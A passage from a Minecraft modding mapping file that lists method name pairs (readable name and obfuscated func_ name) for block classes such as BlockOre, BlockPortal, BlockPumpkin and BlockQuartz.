net/minecraft/block/BlockOldLeaf/getSubBlocks (Lnet/minecraft/item/Item;Lnet/minecraft/creativetab/CreativeTabs;Ljava/util/List;)V net/minecraft/block/BlockOldLeaf/func_149666_a (Lnet/minecraft/item/Item;Lnet/minecraft/creativetab/CreativeTabs;Ljava/util/List;)V +MD: net/minecraft/block/BlockOldLeaf/getWoodType (I)Lnet/minecraft/block/BlockPlanks$EnumType; net/minecraft/block/BlockOldLeaf/func_176233_b (I)Lnet/minecraft/block/BlockPlanks$EnumType; +MD: net/minecraft/block/BlockOldLeaf/getMetaFromState (Lnet/minecraft/block/state/IBlockState;)I net/minecraft/block/BlockOldLeaf/func_176201_c (Lnet/minecraft/block/state/IBlockState;)I +MD: net/minecraft/block/BlockOldLeaf/getSaplingDropChance (Lnet/minecraft/block/state/IBlockState;)I net/minecraft/block/BlockOldLeaf/func_176232_d (Lnet/minecraft/block/state/IBlockState;)I +MD: net/minecraft/block/BlockOldLeaf/createBlockState ()Lnet/minecraft/block/state/BlockState; net/minecraft/block/BlockOldLeaf/func_180661_e ()Lnet/minecraft/block/state/BlockState; +MD: net/minecraft/block/BlockOldLeaf/getRenderColor (Lnet/minecraft/block/state/IBlockState;)I net/minecraft/block/BlockOldLeaf/func_180644_h (Lnet/minecraft/block/state/IBlockState;)I +MD: net/minecraft/block/BlockOldLeaf/createStackedBlock (Lnet/minecraft/block/state/IBlockState;)Lnet/minecraft/item/ItemStack; net/minecraft/block/BlockOldLeaf/func_180643_i (Lnet/minecraft/block/state/IBlockState;)Lnet/minecraft/item/ItemStack; +MD: net/minecraft/block/BlockOldLog$1/apply (Lnet/minecraft/block/BlockPlanks$EnumType;)Z net/minecraft/block/BlockOldLog$1/apply (Lnet/minecraft/block/BlockPlanks$EnumType;)Z +MD: net/minecraft/block/BlockOldLog$1/apply (Ljava/lang/Object;)Z net/minecraft/block/BlockOldLog$1/apply (Ljava/lang/Object;)Z +MD: net/minecraft/block/BlockOldLog/getStateFromMeta (I)Lnet/minecraft/block/state/IBlockState; net/minecraft/block/BlockOldLog/func_176203_a (I)Lnet/minecraft/block/state/IBlockState; +MD: net/minecraft/block/BlockOldLog/damageDropped (Lnet/minecraft/block/state/IBlockState;)I net/minecraft/block/BlockOldLog/func_180651_a (Lnet/minecraft/block/state/IBlockState;)I +MD: net/minecraft/block/BlockOldLog/getSubBlocks (Lnet/minecraft/item/Item;Lnet/minecraft/creativetab/CreativeTabs;Ljava/util/List;)V net/minecraft/block/BlockOldLog/func_149666_a (Lnet/minecraft/item/Item;Lnet/minecraft/creativetab/CreativeTabs;Ljava/util/List;)V +MD: net/minecraft/block/BlockOldLog/getMetaFromState (Lnet/minecraft/block/state/IBlockState;)I net/minecraft/block/BlockOldLog/func_176201_c (Lnet/minecraft/block/state/IBlockState;)I +MD: net/minecraft/block/BlockOldLog/createBlockState ()Lnet/minecraft/block/state/BlockState; net/minecraft/block/BlockOldLog/func_180661_e ()Lnet/minecraft/block/state/BlockState; +MD: net/minecraft/block/BlockOldLog/getMapColor (Lnet/minecraft/block/state/IBlockState;)Lnet/minecraft/block/material/MapColor; net/minecraft/block/BlockOldLog/func_180659_g (Lnet/minecraft/block/state/IBlockState;)Lnet/minecraft/block/material/MapColor; +MD: net/minecraft/block/BlockOldLog/createStackedBlock (Lnet/minecraft/block/state/IBlockState;)Lnet/minecraft/item/ItemStack; net/minecraft/block/BlockOldLog/func_180643_i (Lnet/minecraft/block/state/IBlockState;)Lnet/minecraft/item/ItemStack; +MD: net/minecraft/block/BlockOre/quantityDroppedWithBonus (ILjava/util/Random;)I net/minecraft/block/BlockOre/func_149679_a (ILjava/util/Random;)I +MD: net/minecraft/block/BlockOre/dropBlockAsItemWithChance (Lnet/minecraft/world/World;Lnet/minecraft/util/BlockPos;Lnet/minecraft/block/state/IBlockState;FI)V net/minecraft/block/BlockOre/func_180653_a (Lnet/minecraft/world/World;Lnet/minecraft/util/BlockPos;Lnet/minecraft/block/state/IBlockState;FI)V +MD: net/minecraft/block/BlockOre/damageDropped (Lnet/minecraft/block/state/IBlockState;)I net/minecraft/block/BlockOre/func_180651_a (Lnet/minecraft/block/state/IBlockState;)I +MD: net/minecraft/block/BlockOre/getItemDropped (Lnet/minecraft/block/state/IBlockState;Ljava/util/Random;I)Lnet/minecraft/item/Item; net/minecraft/block/BlockOre/func_180660_a (Lnet/minecraft/block/state/IBlockState;Ljava/util/Random;I)Lnet/minecraft/item/Item; +MD: net/minecraft/block/BlockOre/quantityDropped (Ljava/util/Random;)I net/minecraft/block/BlockOre/func_149745_a (Ljava/util/Random;)I +MD: net/minecraft/block/BlockOre/getDamageValue (Lnet/minecraft/world/World;Lnet/minecraft/util/BlockPos;)I net/minecraft/block/BlockOre/func_176222_j (Lnet/minecraft/world/World;Lnet/minecraft/util/BlockPos;)I +MD: net/minecraft/block/BlockPackedIce/quantityDropped (Ljava/util/Random;)I net/minecraft/block/BlockPackedIce/func_149745_a (Ljava/util/Random;)I +MD: net/minecraft/block/BlockPlanks$EnumType/getMetadata ()I net/minecraft/block/BlockPlanks$EnumType/func_176839_a ()I +MD: net/minecraft/block/BlockPlanks$EnumType/byMetadata (I)Lnet/minecraft/block/BlockPlanks$EnumType; net/minecraft/block/BlockPlanks$EnumType/func_176837_a (I)Lnet/minecraft/block/BlockPlanks$EnumType; +MD: net/minecraft/block/BlockPlanks$EnumType/getMapColor ()Lnet/minecraft/block/material/MapColor; net/minecraft/block/BlockPlanks$EnumType/func_181070_c ()Lnet/minecraft/block/material/MapColor; +MD: net/minecraft/block/BlockPlanks$EnumType/getUnlocalizedName ()Ljava/lang/String; net/minecraft/block/BlockPlanks$EnumType/func_176840_c ()Ljava/lang/String; +MD: net/minecraft/block/BlockPlanks$EnumType/getName ()Ljava/lang/String; net/minecraft/block/BlockPlanks$EnumType/func_176610_l ()Ljava/lang/String; +MD: net/minecraft/block/BlockPlanks$EnumType/toString ()Ljava/lang/String; net/minecraft/block/BlockPlanks$EnumType/toString ()Ljava/lang/String; +MD: net/minecraft/block/BlockPlanks$EnumType/values ()[Lnet/minecraft/block/BlockPlanks$EnumType; net/minecraft/block/BlockPlanks$EnumType/values ()[Lnet/minecraft/block/BlockPlanks$EnumType; +MD: net/minecraft/block/BlockPlanks/getStateFromMeta (I)Lnet/minecraft/block/state/IBlockState; net/minecraft/block/BlockPlanks/func_176203_a (I)Lnet/minecraft/block/state/IBlockState; +MD: net/minecraft/block/BlockPlanks/damageDropped (Lnet/minecraft/block/state/IBlockState;)I net/minecraft/block/BlockPlanks/func_180651_a (Lnet/minecraft/block/state/IBlockState;)I +MD: net/minecraft/block/BlockPlanks/getSubBlocks (Lnet/minecraft/item/Item;Lnet/minecraft/creativetab/CreativeTabs;Ljava/util/List;)V net/minecraft/block/BlockPlanks/func_149666_a (Lnet/minecraft/item/Item;Lnet/minecraft/creativetab/CreativeTabs;Ljava/util/List;)V +MD: net/minecraft/block/BlockPlanks/getMetaFromState (Lnet/minecraft/block/state/IBlockState;)I net/minecraft/block/BlockPlanks/func_176201_c (Lnet/minecraft/block/state/IBlockState;)I +MD: net/minecraft/block/BlockPlanks/createBlockState ()Lnet/minecraft/block/state/BlockState; net/minecraft/block/BlockPlanks/func_180661_e ()Lnet/minecraft/block/state/BlockState; +MD: net/minecraft/block/BlockPlanks/getMapColor (Lnet/minecraft/block/state/IBlockState;)Lnet/minecraft/block/material/MapColor; net/minecraft/block/BlockPlanks/func_180659_g (Lnet/minecraft/block/state/IBlockState;)Lnet/minecraft/block/material/MapColor; +MD: net/minecraft/block/BlockPortal$Size/func_181100_a ()I net/minecraft/block/BlockPortal$Size/func_181100_a ()I +MD: net/minecraft/block/BlockPortal$Size/func_150857_a (Lnet/minecraft/block/Block;)Z net/minecraft/block/BlockPortal$Size/func_150857_a (Lnet/minecraft/block/Block;)Z +MD: net/minecraft/block/BlockPortal$Size/access$000 (Lnet/minecraft/block/BlockPortal$Size;)I net/minecraft/block/BlockPortal$Size/access$000 (Lnet/minecraft/block/BlockPortal$Size;)I +MD: net/minecraft/block/BlockPortal$Size/func_180120_a (Lnet/minecraft/util/BlockPos;Lnet/minecraft/util/EnumFacing;)I net/minecraft/block/BlockPortal$Size/func_180120_a (Lnet/minecraft/util/BlockPos;Lnet/minecraft/util/EnumFacing;)I +MD: net/minecraft/block/BlockPortal$Size/func_181101_b ()I net/minecraft/block/BlockPortal$Size/func_181101_b ()I +MD: net/minecraft/block/BlockPortal$Size/access$100 (Lnet/minecraft/block/BlockPortal$Size;)I net/minecraft/block/BlockPortal$Size/access$100 (Lnet/minecraft/block/BlockPortal$Size;)I +MD: net/minecraft/block/BlockPortal$Size/func_150858_a ()I net/minecraft/block/BlockPortal$Size/func_150858_a ()I +MD: net/minecraft/block/BlockPortal$Size/access$200 (Lnet/minecraft/block/BlockPortal$Size;)I net/minecraft/block/BlockPortal$Size/access$200 (Lnet/minecraft/block/BlockPortal$Size;)I +MD: net/minecraft/block/BlockPortal$Size/func_150860_b ()Z net/minecraft/block/BlockPortal$Size/func_150860_b ()Z +MD: net/minecraft/block/BlockPortal$Size/access$300 (Lnet/minecraft/block/BlockPortal$Size;)Lnet/minecraft/util/EnumFacing; net/minecraft/block/BlockPortal$Size/access$300 (Lnet/minecraft/block/BlockPortal$Size;)Lnet/minecraft/util/EnumFacing; +MD: net/minecraft/block/BlockPortal$Size/func_150859_c ()V net/minecraft/block/BlockPortal$Size/func_150859_c ()V +MD: net/minecraft/block/BlockPortal$Size/access$400 (Lnet/minecraft/block/BlockPortal$Size;)Lnet/minecraft/util/BlockPos; net/minecraft/block/BlockPortal$Size/access$400 (Lnet/minecraft/block/BlockPortal$Size;)Lnet/minecraft/util/BlockPos; +MD: net/minecraft/block/BlockPortal/getStateFromMeta (I)Lnet/minecraft/block/state/IBlockState; net/minecraft/block/BlockPortal/func_176203_a (I)Lnet/minecraft/block/state/IBlockState; +MD: net/minecraft/block/BlockPortal/getCollisionBoundingBox (Lnet/minecraft/world/World;Lnet/minecraft/util/BlockPos;Lnet/minecraft/block/state/IBlockState;)Lnet/minecraft/util/AxisAlignedBB; net/minecraft/block/BlockPortal/func_180640_a (Lnet/minecraft/world/World;Lnet/minecraft/util/BlockPos;Lnet/minecraft/block/state/IBlockState;)Lnet/minecraft/util/AxisAlignedBB; +MD: net/minecraft/block/BlockPortal/onNeighborBlockChange (Lnet/minecraft/world/World;Lnet/minecraft/util/BlockPos;Lnet/minecraft/block/state/IBlockState;Lnet/minecraft/block/Block;)V net/minecraft/block/BlockPortal/func_176204_a (Lnet/minecraft/world/World;Lnet/minecraft/util/BlockPos;Lnet/minecraft/block/state/IBlockState;Lnet/minecraft/block/Block;)V +MD: net/minecraft/block/BlockPortal/onEntityCollidedWithBlock (Lnet/minecraft/world/World;Lnet/minecraft/util/BlockPos;Lnet/minecraft/block/state/IBlockState;Lnet/minecraft/entity/Entity;)V net/minecraft/block/BlockPortal/func_180634_a (Lnet/minecraft/world/World;Lnet/minecraft/util/BlockPos;Lnet/minecraft/block/state/IBlockState;Lnet/minecraft/entity/Entity;)V +MD: net/minecraft/block/BlockPortal/setBlockBoundsBasedOnState (Lnet/minecraft/world/IBlockAccess;Lnet/minecraft/util/BlockPos;)V net/minecraft/block/BlockPortal/func_180654_a (Lnet/minecraft/world/IBlockAccess;Lnet/minecraft/util/BlockPos;)V +MD: net/minecraft/block/BlockPortal/shouldSideBeRendered (Lnet/minecraft/world/IBlockAccess;Lnet/minecraft/util/BlockPos;Lnet/minecraft/util/EnumFacing;)Z net/minecraft/block/BlockPortal/func_176225_a (Lnet/minecraft/world/IBlockAccess;Lnet/minecraft/util/BlockPos;Lnet/minecraft/util/EnumFacing;)Z +MD: net/minecraft/block/BlockPortal/getMetaForAxis (Lnet/minecraft/util/EnumFacing$Axis;)I net/minecraft/block/BlockPortal/func_176549_a (Lnet/minecraft/util/EnumFacing$Axis;)I +MD: net/minecraft/block/BlockPortal/quantityDropped (Ljava/util/Random;)I net/minecraft/block/BlockPortal/func_149745_a (Ljava/util/Random;)I +MD: net/minecraft/block/BlockPortal/updateTick (Lnet/minecraft/world/World;Lnet/minecraft/util/BlockPos;Lnet/minecraft/block/state/IBlockState;Ljava/util/Random;)V net/minecraft/block/BlockPortal/func_180650_b (Lnet/minecraft/world/World;Lnet/minecraft/util/BlockPos;Lnet/minecraft/block/state/IBlockState;Ljava/util/Random;)V +MD: net/minecraft/block/BlockPortal/getItem (Lnet/minecraft/world/World;Lnet/minecraft/util/BlockPos;)Lnet/minecraft/item/Item; net/minecraft/block/BlockPortal/func_180665_b (Lnet/minecraft/world/World;Lnet/minecraft/util/BlockPos;)Lnet/minecraft/item/Item; +MD: net/minecraft/block/BlockPortal/randomDisplayTick (Lnet/minecraft/world/World;Lnet/minecraft/util/BlockPos;Lnet/minecraft/block/state/IBlockState;Ljava/util/Random;)V net/minecraft/block/BlockPortal/func_180655_c (Lnet/minecraft/world/World;Lnet/minecraft/util/BlockPos;Lnet/minecraft/block/state/IBlockState;Ljava/util/Random;)V +MD: net/minecraft/block/BlockPortal/getMetaFromState (Lnet/minecraft/block/state/IBlockState;)I net/minecraft/block/BlockPortal/func_176201_c (Lnet/minecraft/block/state/IBlockState;)I +MD: net/minecraft/block/BlockPortal/isFullCube ()Z net/minecraft/block/BlockPortal/func_149686_d ()Z +MD: net/minecraft/block/BlockPortal/createBlockState ()Lnet/minecraft/block/state/BlockState; net/minecraft/block/BlockPortal/func_180661_e ()Lnet/minecraft/block/state/BlockState; +MD: net/minecraft/block/BlockPortal/func_176548_d (Lnet/minecraft/world/World;Lnet/minecraft/util/BlockPos;)Z net/minecraft/block/BlockPortal/func_176548_d (Lnet/minecraft/world/World;Lnet/minecraft/util/BlockPos;)Z +MD: net/minecraft/block/BlockPortal/func_181089_f (Lnet/minecraft/world/World;Lnet/minecraft/util/BlockPos;)Lnet/minecraft/block/state/pattern/BlockPattern$PatternHelper; net/minecraft/block/BlockPortal/func_181089_f (Lnet/minecraft/world/World;Lnet/minecraft/util/BlockPos;)Lnet/minecraft/block/state/pattern/BlockPattern$PatternHelper; +MD: net/minecraft/block/BlockPortal/getBlockLayer ()Lnet/minecraft/util/EnumWorldBlockLayer; net/minecraft/block/BlockPortal/func_180664_k ()Lnet/minecraft/util/EnumWorldBlockLayer; +MD: net/minecraft/block/BlockPotato/dropBlockAsItemWithChance (Lnet/minecraft/world/World;Lnet/minecraft/util/BlockPos;Lnet/minecraft/block/state/IBlockState;FI)V net/minecraft/block/BlockPotato/func_180653_a (Lnet/minecraft/world/World;Lnet/minecraft/util/BlockPos;Lnet/minecraft/block/state/IBlockState;FI)V +MD: net/minecraft/block/BlockPotato/getSeed ()Lnet/minecraft/item/Item; net/minecraft/block/BlockPotato/func_149866_i ()Lnet/minecraft/item/Item; +MD: net/minecraft/block/BlockPotato/getCrop ()Lnet/minecraft/item/Item; net/minecraft/block/BlockPotato/func_149865_P ()Lnet/minecraft/item/Item; +MD: net/minecraft/block/BlockCompressedPowered/getWeakPower (Lnet/minecraft/world/IBlockAccess;Lnet/minecraft/util/BlockPos;Lnet/minecraft/block/state/IBlockState;Lnet/minecraft/util/EnumFacing;)I net/minecraft/block/BlockCompressedPowered/func_180656_a (Lnet/minecraft/world/IBlockAccess;Lnet/minecraft/util/BlockPos;Lnet/minecraft/block/state/IBlockState;Lnet/minecraft/util/EnumFacing;)I +MD: net/minecraft/block/BlockCompressedPowered/canProvidePower ()Z net/minecraft/block/BlockCompressedPowered/func_149744_f ()Z +MD: net/minecraft/block/BlockRailPowered$1/apply (Lnet/minecraft/block/BlockRailBase$EnumRailDirection;)Z net/minecraft/block/BlockRailPowered$1/apply (Lnet/minecraft/block/BlockRailBase$EnumRailDirection;)Z +MD: net/minecraft/block/BlockRailPowered$1/apply (Ljava/lang/Object;)Z net/minecraft/block/BlockRailPowered$1/apply (Ljava/lang/Object;)Z +MD: net/minecraft/block/BlockRailPowered/getStateFromMeta (I)Lnet/minecraft/block/state/IBlockState; net/minecraft/block/BlockRailPowered/func_176203_a (I)Lnet/minecraft/block/state/IBlockState; +MD: net/minecraft/block/BlockRailPowered/func_176566_a (Lnet/minecraft/world/World;Lnet/minecraft/util/BlockPos;Lnet/minecraft/block/state/IBlockState;ZI)Z net/minecraft/block/BlockRailPowered/func_176566_a (Lnet/minecraft/world/World;Lnet/minecraft/util/BlockPos;Lnet/minecraft/block/state/IBlockState;ZI)Z +MD: net/minecraft/block/BlockRailPowered/func_176567_a (Lnet/minecraft/world/World;Lnet/minecraft/util/BlockPos;ZILnet/minecraft/block/BlockRailBase$EnumRailDirection;)Z net/minecraft/block/BlockRailPowered/func_176567_a (Lnet/minecraft/world/World;Lnet/minecraft/util/BlockPos;ZILnet/minecraft/block/BlockRailBase$EnumRailDirection;)Z +MD: net/minecraft/block/BlockRailPowered/onNeighborChangedInternal (Lnet/minecraft/world/World;Lnet/minecraft/util/BlockPos;Lnet/minecraft/block/state/IBlockState;Lnet/minecraft/block/Block;)V net/minecraft/block/BlockRailPowered/func_176561_b (Lnet/minecraft/world/World;Lnet/minecraft/util/BlockPos;Lnet/minecraft/block/state/IBlockState;Lnet/minecraft/block/Block;)V +MD: net/minecraft/block/BlockRailPowered/getMetaFromState (Lnet/minecraft/block/state/IBlockState;)I net/minecraft/block/BlockRailPowered/func_176201_c (Lnet/minecraft/block/state/IBlockState;)I +MD: net/minecraft/block/BlockRailPowered/createBlockState ()Lnet/minecraft/block/state/BlockState; net/minecraft/block/BlockRailPowered/func_180661_e ()Lnet/minecraft/block/state/BlockState; +MD: net/minecraft/block/BlockRailPowered/getShapeProperty ()Lnet/minecraft/block/properties/IProperty; net/minecraft/block/BlockRailPowered/func_176560_l ()Lnet/minecraft/block/properties/IProperty; +MD: net/minecraft/block/BlockPressurePlate$Sensitivity/values ()[Lnet/minecraft/block/BlockPressurePlate$Sensitivity; net/minecraft/block/BlockPressurePlate$Sensitivity/values ()[Lnet/minecraft/block/BlockPressurePlate$Sensitivity; +MD: net/minecraft/block/BlockPressurePlate/getStateFromMeta (I)Lnet/minecraft/block/state/IBlockState; net/minecraft/block/BlockPressurePlate/func_176203_a (I)Lnet/minecraft/block/state/IBlockState; +MD: net/minecraft/block/BlockPressurePlate/setRedstoneStrength (Lnet/minecraft/block/state/IBlockState;I)Lnet/minecraft/block/state/IBlockState; net/minecraft/block/BlockPressurePlate/func_176575_a (Lnet/minecraft/block/state/IBlockState;I)Lnet/minecraft/block/state/IBlockState; +MD: net/minecraft/block/BlockPressurePlate/getMetaFromState (Lnet/minecraft/block/state/IBlockState;)I net/minecraft/block/BlockPressurePlate/func_176201_c (Lnet/minecraft/block/state/IBlockState;)I +MD: net/minecraft/block/BlockPressurePlate/createBlockState ()Lnet/minecraft/block/state/BlockState; net/minecraft/block/BlockPressurePlate/func_180661_e ()Lnet/minecraft/block/state/BlockState; +MD: net/minecraft/block/BlockPressurePlate/getRedstoneStrength (Lnet/minecraft/block/state/IBlockState;)I net/minecraft/block/BlockPressurePlate/func_176576_e (Lnet/minecraft/block/state/IBlockState;)I +MD: net/minecraft/block/BlockPressurePlate/computeRedstoneStrength (Lnet/minecraft/world/World;Lnet/minecraft/util/BlockPos;)I net/minecraft/block/BlockPressurePlate/func_180669_e (Lnet/minecraft/world/World;Lnet/minecraft/util/BlockPos;)I +MD: net/minecraft/block/BlockPrismarine$EnumType/getMetadata ()I net/minecraft/block/BlockPrismarine$EnumType/func_176807_a ()I +MD: net/minecraft/block/BlockPrismarine$EnumType/byMetadata (I)Lnet/minecraft/block/BlockPrismarine$EnumType; net/minecraft/block/BlockPrismarine$EnumType/func_176810_a (I)Lnet/minecraft/block/BlockPrismarine$EnumType; +MD: net/minecraft/block/BlockPrismarine$EnumType/getUnlocalizedName ()Ljava/lang/String; net/minecraft/block/BlockPrismarine$EnumType/func_176809_c ()Ljava/lang/String; +MD: net/minecraft/block/BlockPrismarine$EnumType/getName ()Ljava/lang/String; net/minecraft/block/BlockPrismarine$EnumType/func_176610_l ()Ljava/lang/String; +MD: net/minecraft/block/BlockPrismarine$EnumType/toString ()Ljava/lang/String; net/minecraft/block/BlockPrismarine$EnumType/toString ()Ljava/lang/String; +MD: net/minecraft/block/BlockPrismarine$EnumType/values ()[Lnet/minecraft/block/BlockPrismarine$EnumType; net/minecraft/block/BlockPrismarine$EnumType/values ()[Lnet/minecraft/block/BlockPrismarine$EnumType; +MD: net/minecraft/block/BlockPrismarine/getStateFromMeta (I)Lnet/minecraft/block/state/IBlockState; net/minecraft/block/BlockPrismarine/func_176203_a (I)Lnet/minecraft/block/state/IBlockState; +MD: net/minecraft/block/BlockPrismarine/damageDropped (Lnet/minecraft/block/state/IBlockState;)I net/minecraft/block/BlockPrismarine/func_180651_a (Lnet/minecraft/block/state/IBlockState;)I +MD: net/minecraft/block/BlockPrismarine/getSubBlocks (Lnet/minecraft/item/Item;Lnet/minecraft/creativetab/CreativeTabs;Ljava/util/List;)V net/minecraft/block/BlockPrismarine/func_149666_a (Lnet/minecraft/item/Item;Lnet/minecraft/creativetab/CreativeTabs;Ljava/util/List;)V +MD: net/minecraft/block/BlockPrismarine/getMetaFromState (Lnet/minecraft/block/state/IBlockState;)I net/minecraft/block/BlockPrismarine/func_176201_c (Lnet/minecraft/block/state/IBlockState;)I +MD: net/minecraft/block/BlockPrismarine/createBlockState ()Lnet/minecraft/block/state/BlockState; net/minecraft/block/BlockPrismarine/func_180661_e ()Lnet/minecraft/block/state/BlockState; +MD: net/minecraft/block/BlockPrismarine/getLocalizedName ()Ljava/lang/String; net/minecraft/block/BlockPrismarine/func_149732_F ()Ljava/lang/String; +MD: net/minecraft/block/BlockPrismarine/getMapColor (Lnet/minecraft/block/state/IBlockState;)Lnet/minecraft/block/material/MapColor; net/minecraft/block/BlockPrismarine/func_180659_g (Lnet/minecraft/block/state/IBlockState;)Lnet/minecraft/block/material/MapColor; +MD: net/minecraft/block/BlockPumpkin$1/apply (Lnet/minecraft/block/state/IBlockState;)Z net/minecraft/block/BlockPumpkin$1/apply (Lnet/minecraft/block/state/IBlockState;)Z +MD: net/minecraft/block/BlockPumpkin$1/apply (Ljava/lang/Object;)Z net/minecraft/block/BlockPumpkin$1/apply (Ljava/lang/Object;)Z +MD: net/minecraft/block/BlockPumpkin/getGolemBasePattern ()Lnet/minecraft/block/state/pattern/BlockPattern; net/minecraft/block/BlockPumpkin/func_176389_S ()Lnet/minecraft/block/state/pattern/BlockPattern; +MD: net/minecraft/block/BlockPumpkin/getGolemPattern ()Lnet/minecraft/block/state/pattern/BlockPattern; net/minecraft/block/BlockPumpkin/func_176388_T ()Lnet/minecraft/block/state/pattern/BlockPattern; +MD: net/minecraft/block/BlockPumpkin/getStateFromMeta (I)Lnet/minecraft/block/state/IBlockState; net/minecraft/block/BlockPumpkin/func_176203_a (I)Lnet/minecraft/block/state/IBlockState; +MD: net/minecraft/block/BlockPumpkin/onBlockPlaced (Lnet/minecraft/world/World;Lnet/minecraft/util/BlockPos;Lnet/minecraft/util/EnumFacing;FFFILnet/minecraft/entity/EntityLivingBase;)Lnet/minecraft/block/state/IBlockState; net/minecraft/block/BlockPumpkin/func_180642_a (Lnet/minecraft/world/World;Lnet/minecraft/util/BlockPos;Lnet/minecraft/util/EnumFacing;FFFILnet/minecraft/entity/EntityLivingBase;)Lnet/minecraft/block/state/IBlockState; +MD: net/minecraft/block/BlockPumpkin/onBlockAdded (Lnet/minecraft/world/World;Lnet/minecraft/util/BlockPos;Lnet/minecraft/block/state/IBlockState;)V net/minecraft/block/BlockPumpkin/func_176213_c (Lnet/minecraft/world/World;Lnet/minecraft/util/BlockPos;Lnet/minecraft/block/state/IBlockState;)V +MD: net/minecraft/block/BlockPumpkin/getMetaFromState (Lnet/minecraft/block/state/IBlockState;)I net/minecraft/block/BlockPumpkin/func_176201_c (Lnet/minecraft/block/state/IBlockState;)I +MD: net/minecraft/block/BlockPumpkin/canPlaceBlockAt (Lnet/minecraft/world/World;Lnet/minecraft/util/BlockPos;)Z net/minecraft/block/BlockPumpkin/func_176196_c (Lnet/minecraft/world/World;Lnet/minecraft/util/BlockPos;)Z +MD: net/minecraft/block/BlockPumpkin/createBlockState ()Lnet/minecraft/block/state/BlockState; net/minecraft/block/BlockPumpkin/func_180661_e ()Lnet/minecraft/block/state/BlockState; +MD: net/minecraft/block/BlockPumpkin/canDispenserPlace (Lnet/minecraft/world/World;Lnet/minecraft/util/BlockPos;)Z net/minecraft/block/BlockPumpkin/func_176390_d (Lnet/minecraft/world/World;Lnet/minecraft/util/BlockPos;)Z +MD: net/minecraft/block/BlockPumpkin/trySpawnGolem (Lnet/minecraft/world/World;Lnet/minecraft/util/BlockPos;)V net/minecraft/block/BlockPumpkin/func_180673_e (Lnet/minecraft/world/World;Lnet/minecraft/util/BlockPos;)V +MD: net/minecraft/block/BlockPumpkin/getSnowmanBasePattern ()Lnet/minecraft/block/state/pattern/BlockPattern; net/minecraft/block/BlockPumpkin/func_176392_j ()Lnet/minecraft/block/state/pattern/BlockPattern; +MD: net/minecraft/block/BlockPumpkin/getSnowmanPattern ()Lnet/minecraft/block/state/pattern/BlockPattern; net/minecraft/block/BlockPumpkin/func_176391_l ()Lnet/minecraft/block/state/pattern/BlockPattern; +MD: net/minecraft/block/BlockQuartz$EnumType/getMetadata ()I net/minecraft/block/BlockQuartz$EnumType/func_176796_a ()I +MD: net/minecraft/block/BlockQuartz$EnumType/byMetadata (I)Lnet/minecraft/block/BlockQuartz$EnumType; net/minecraft/block/BlockQuartz$EnumType/func_176794_a (I)Lnet/minecraft/block/BlockQuartz$EnumType; +MD: net/minecraft/block/BlockQuartz$EnumType/getName ()Ljava/lang/String; net/minecraft/block/BlockQuartz$EnumType/func_176610_l ()Ljava/lang/String; +MD: net/minecraft/block/BlockQuartz$EnumType/toString ()Ljava/lang/String; net/minecraft/block/BlockQuartz$EnumType/toString ()Ljava/lang/String; +MD: net/minecraft/block/BlockQuartz$EnumType/values ()[Lnet/minecraft/block/BlockQuartz$EnumType; net/minecraft/block/BlockQuartz$EnumType/values ()[Lnet/minecraft/block/BlockQuartz$EnumType; +MD: net/minecraft/block/BlockQuartz/getStateFromMeta (I)Lnet/minecraft/block/state/IBlockState; net/minecraft/block/BlockQuartz/func_176203_a (I)Lnet/minecraft/block/state/IBlockState; +MD: net/minecraft/block/BlockQuartz/onBlockPlaced (Lnet/minecraft/world/World;Lnet/minecraft/util/BlockPos;Lnet/minecraft/util/EnumFacing;FFFILnet/minecraft/entity/EntityLivingBase;)Lnet/minecraft/block/state/IBlockState; net/minecraft/block/BlockQuartz/func_180642_a (Lnet/minecraft/world/World;Lnet/minecraft/util/BlockPos;Lnet/minecraft/util/EnumFacing;FFFILnet/minecraft/entity/EntityLivingBase;)Lnet/minecraft/block/state/IBlockState; +MD: net/minecraft/block/BlockQuartz/damageDropped (Lnet/minecraft/block/state/IBlockState;)I net/minecraft/block/BlockQuartz/func_180651_a (Lnet/minecraft/block/state/IBlockState;)I +MD: net/minecraft/block/BlockQuartz/getSubBlocks (Lnet/minecraft/item/Item;Lnet/minecraft/creativetab/CreativeTabs;Ljava/util/List;)V net/minecraft/block/BlockQuartz/func_149666_a (Lnet/minecraft/item/Item;Lnet/minecraft/creativetab/CreativeTabs;Ljava/util/List;)V +MD: net/minecraft/block/BlockQuartz/getMetaFromState (Lnet/minecraft/block/state/IBlockState;)I net/minecraft/block/BlockQuartz/func_176201_c (Lnet/minecraft/block/state/IBlockState;)I +MD: net/minecraft/block/BlockQuartz/createBlockState ()Lnet/minecraft/block/state/BlockState; net/minecraft/block/BlockQuartz/func_180661_e ()Lnet/minecraft/block/state/BlockState; +MD: net/minecraft/block/BlockQuartz/getMapColor (Lnet/minecraft/block/state/IBlockState;)Lnet/minecraft/block/material/MapColor; net/minecraft/block/BlockQuartz/func_180659_g (Lnet/minecraft/block/state/IBlockState;)Lnet/minecraft/block/material/MapColor; +MD: net/minecraft/block/BlockQuartz/createStackedBlock (Lnet/minecraft/block/state/IBlockState;)Lnet/minecraft/item/ItemStack; net/minecraft/block/BlockQuartz/func_180643_i (Lnet/minecraft/block/state/IBlockState;)Lnet/minecraft/item/ItemStack; +MD: net/minecraft/block/BlockRail/getStateFromMeta (I)Lnet/minecraft/block/state/IBlockState; net/minecraft/block/BlockRail/func_176203_a (I)Lnet/minecraft/block/state/IBlockState; +MD: net/minecraft/block/BlockRail/onNeighborChangedInternal (Lnet/minecraft/world/World;Lnet/minecraft/util/BlockPos;Lnet/minecraft/block/state/IBlockState;Lnet/minecraft/block/Block;)V net/minecraft/block/BlockRail/func_176561_b (Lnet/minecraft/world/World;Lnet/minecraft/util/BlockPos;Lnet/minecraft/block/state/IBlockState;Lnet/minecraft/block/Block;)V +MD: net/minecraft/block/BlockRail/getMetaFromState (Lnet/minecraft/block/state/IBlockState;)I net/minecraft/block/BlockRail/func_176201_c (Lnet/minecraft/block/state/IBlockState;)I +MD: net/minecraft/block/BlockRail/createBlockState ()Lnet/minecraft/block/state/BlockState; net/minecraft/block/BlockRail/func_180661_e ()Lnet/minecraft/block/state/BlockState; +MD: net/minecraft/block/BlockRail/getShapeProperty ()Lnet/minecraft/block/properties/IProperty; net/minecraft/block/BlockRail/func_176560_l ()Lnet/minecraft/block/properties/IProperty; +MD: net/minecraft/block/BlockRedFlower/getBlockType ()Lnet/minecraft/block/BlockFlower$EnumFlowerColor; net/minecraft/block/BlockRedFlower/func_176495_j ()Lnet/minecraft/block/BlockFlower$EnumFlowerColor; +MD: net/minecraft/block/BlockRedSandstone$EnumType/getMetadata ()I net/minecraft/block/BlockRedSandstone$EnumType/func_176827_a ()I +MD: 